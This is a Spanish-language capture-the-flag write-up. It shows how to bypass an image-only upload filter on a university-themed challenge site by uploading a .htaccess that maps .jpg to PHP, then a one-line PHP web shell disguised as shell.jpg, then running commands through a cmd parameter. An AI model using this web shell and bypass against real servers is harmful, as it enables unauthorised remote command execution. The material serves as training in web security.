Configuración

byp4ss3d

|

web-exploitation · Media

Desafío

Una página de una universidad permite subir únicamente archivos de media: .jpg, .png y .gif.
El objetivo es conseguir ejecución remota de comandos (RCE) subiendo un archivo malicioso.

Herramientas

  • Navegador
  • Conocimientos básicos de Apache y .htaccess

Explicación

El primer intento fue subir un archivo con código PHP malicioso:

<?php system($_REQUEST['cmd']); ?>

Pero el servidor devolvió un mensaje de:

“Not allowed!”

Esto indica que hay un filtro que rechaza directamente archivos con extensión .php.

Intento 1: subir el PHP como .jpg

Renombramos el archivo a shell.jpg y lo subimos.
La subida funciona, pero al intentar ejecutar:

...?cmd=ls

la página muestra un error del tipo:

“The image cannot be displayed because it contains errors”

Esto confirma que no se está interpretando como PHP, sino que el servidor intenta manejarlo como una imagen.

Pista: uso de .htaccess

La pista del desafío sugiere intentar un archivo .htaccess, lo cual es importante porque Apache permite redefinir tipos MIME desde él.

Subimos un archivo .htaccess con el siguiente contenido:

AddType application/x-httpd-php .jpg

Esta línea le dice a Apache:

“Cada archivo terminado en .jpg debe ser procesado como PHP”.

El archivo .htaccess es aceptado correctamente.

Intento 2: subir nuevamente el código en shell.jpg

Al subir otra vez el archivo shell.jpg con el código PHP, ahora sí vemos un cambio:
en vez de mostrar un error de imagen, la página muestra warnings y errores de PHP, como:

  • Undefined array key “cmd”

  • system(): Argument #1 cannot be empty

  • Fatal error: ValueError …

Esto confirma que Apache está ejecutando el archivo .jpg como PHP.

Ejecutando comandos

Ahora probamos:

...?cmd=ls

Y obtenemos la lista de archivos del directorio, donde aparece shell.jpg.
Esto confirma la ejecución remota.

Luego navegamos a un directorio típico de Apache:

...?cmd=ls+/var/www

Dentro del resultado aparece la flag, por ejemplo:

flag.txt
html

Con esto ya resolvimos el desafío.

← Volver a soluciones